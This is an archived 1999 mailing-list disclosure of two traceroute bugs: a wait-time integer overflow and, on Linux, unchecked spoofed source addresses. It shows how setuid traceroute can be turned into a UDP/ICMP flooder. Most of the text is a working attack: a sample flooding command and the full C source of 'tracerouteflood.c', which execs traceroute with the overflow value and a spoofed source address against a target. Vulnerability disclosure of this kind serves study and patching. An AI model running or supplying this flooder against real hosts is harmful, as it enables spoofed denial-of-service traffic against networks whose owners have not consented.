[ http://www.rootshell.com/ ] Date: Sat, 13 Feb 1999 01:38:11 +0100 From: Alfonso De Gregorio Subject: traceroute as a flooder two traceroute's bugs allow any user (since it's often suided) to use traceroute as a little udp, or (only for versions from 1.4) also icmp, flooder. BTW, i've tested these bugs only on x86 boxes with the most diffused GNU/Linux distro: Debian, Slackware, RedHat (all of them with 2.0.34 kernel), and on an alpha with Digital Unix V4.0 -first bug- waittime value affected systems: x86 linux and alpha digital unix traceroute dosen't handle too higher argument's value of -w option. the limit value dosen't seem to remain costant, but it's never greater than (1<<31)-1 or on the other hand ((1<<(sizeof(int)*8)-1)-1) on systems already tested where the size of an int is 4. AFAIK, the problem is the way is setted the waittime value (waittime = str2val(optarg, "wait time",2,-1);), used in wait_for_reply to wait for a response of a probe. so .. passing an high value to the -w option traceroute will no wait for packets coming back. -second bug- -s (the source address of outgoing probe packets) affected system: x86 linux (maybe others) Usally traceroute check if the source address of the outgoing probe packets matches one of the machine's interface addresses; in case of mismatch, an error is returned and nothing is send on x86 linux traceroute fail this check. in this way anyone can send packets that appear come from a fake address (spoofed) and will not receive response packets (TIME_EXCEEDED or PORT_UNREACHABLE and unexpected packets, too) considerate the maximum number of packets that traceroute can send, the number of packets for second received by the target host, the minimal ICMP packet used by traceroute (IIRC just few bytes for the rtt computation), an udp/icmp flood made using traceroute should be abosultely powerless and no one can make a real DoS againt a victim; however just setting the number of queries (-q), the packetsize, and if we want it also the time-to-live of the first outgoing packet i've frozen a bit a windows box until packets finished. (as a matter of fact since we are not using traceroute to track the route is followed by a packet but we are just trying to flood, if we know the topology of the net between us and the target (eg we are using a link state protocol or we have already checked the number of hops) we can set the time-to-live of the first outgoing packet to the distance.) all in all seemingly the bugs addressed in this mail don't appear to be a big security issue but just a tcp/ip weakness, anyway it's better to be informed :-) IMHO BTW, if you wan't use sth like `traceroute -w $(((1<<31)-1)) -q 8 -f n -s xxx.xxx.xxx.xxx target 1460' or if you wan't try to guess the limit of the waittime value, there are few lines of code, below, (tracerouteflood.c) that show as can be used these tcp/ip weakness; just an example, nothing more ciao fhex "Software is like sex; it's better when it's free" - Linus Torvalds - --cut here-- /* tracerouteflood.c by (fhex) Alfonso De Gregorio a special thanks to: my sister :) Davide (buzzz) Bozzelli a great friend that let me use his alpha Salvatore (antirez) Sanfilippo and Lorenzo (gigi_sull) Cavallaro two friend always available to pay attantion to my nonsenses and take me great advices This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License. ------------------------------------------------------------------------- WARNING: this program is only for dimostrative use. USE IT AT YOUR OWN RISK! The autors decline responsability caused by bad or malicious use. to compile: gcc -O2 tracerouteflood.c -o tracerouteflood (should copile succesfully on Debian, Slackware, RedHat, DigitalUnix etc.) alfonso de gregorio ------------------------------------------------------------------------- */ #include #include #include #include #include #define TRACEROUTE "/usr/sbin/traceroute" /* traceroute's pathname */ #define MAX_LENGHT 12 /* buffer dimension */ int usage(char *argo) { printf("usage: %s: %s [-I] [-f first_ttl] [-q nqueries] [-s source_ip] hostname [packetlen]\n",argo,argo); printf("\t -I\t\tflood using ICMP ECHO instead of UDP datagrams.\n"); printf("\t -f firt_ttl\tthe initial time-to-live used in the first outgoing packet\n"); printf("\t -q nqueries\tqueries number\n"); printf("\t -s source_ip\tthis ip is the address of the outgoing packets\n"); printf("\n\t(-I and -f switches works only with traceroute 1.4 or higher)\n"); printf("\t[source_ip] can be arbitrary only on linux\n"); printf("\n\tFor example:./tracerouteflood -I -f 2 -q 8 -s xxx.xxx.xxx.xxx dest.somewhere.com 1460\n"); return 1; } int main(int argc, char **argv ) { char badwait[MAX_LENGHT]; pid_t pid_traceroute; register int op; int i,j; char *cmdline[10]={}; if (argc < 2 || argc > 10 ) exit(usage(argv[0])); #ifdef __alpha__ /* an integer overflow */ /* please, if ((1<<(sizeof(int)*8)-1)-1) isn't enought on your system repleace it with just a big number (don't forget to mail me :)*/ sprintf(badwait,"%ld",((1<<(sizeof(int)*8)-1)-1) ); #else snprintf(badwait,MAX_LENGHT,"%ld",((1<<(sizeof(int)*8)-1)-1) ); #endif opterr=0; while ((op = getopt(argc, argv, "If:q:s:")) != EOF) switch (op) { case 'I': cmdline[1]=argv[optind-1]; break; case 'f': cmdline[2]=argv[optind-2]; cmdline[3]=argv[optind-1]; break; case 'q': cmdline[4]=argv[optind-2]; cmdline[5]=argv[optind-1]; break; case 's': /* if you have noticed -s bug also on other systems then linux let free to add here the symbol for the preprocessor (and don't forget to mail me:) */ #ifdef __linux__ cmdline[6]=argv[optind-2]; cmdline[7]=argv[optind-1]; #else printf("since now this bug appeare to be present only on linux\n"); exit(1); #endif break; default: exit(usage(argv[0])); break; } switch (argc - optind) { case 1: cmdline[8]=argv[optind]; break; case 2: cmdline[8]=argv[optind]; cmdline[9]=argv[optind+1]; break; default: exit(usage(argv[0])); } for (i=1;i<9;i++){ if (cmdline[i] == NULL && cmdline[i+1] != NULL) { for(j=i;j<9;j++){ cmdline[j]=cmdline[j+1]; cmdline[j+1]=(char *) NULL; } i=0; } } pid_traceroute = fork(); if ( pid_traceroute == 0) { execl(TRACEROUTE,"traceroute","-w",badwait,cmdline[1],cmdline[2],cmdline[3],cmdline[4],cmdline[5],cmdline[6],cmdline[7],cmdline[8],cmdline[9],NULL); perror("exec: maybe traceroute is not in pre-arranged directory"); exit(1); } if ( waitpid(pid_traceroute, NULL, 0) < 0) { printf("wait error\n"); exit(1); } printf("done\n"); exit(0); } --stop cutting--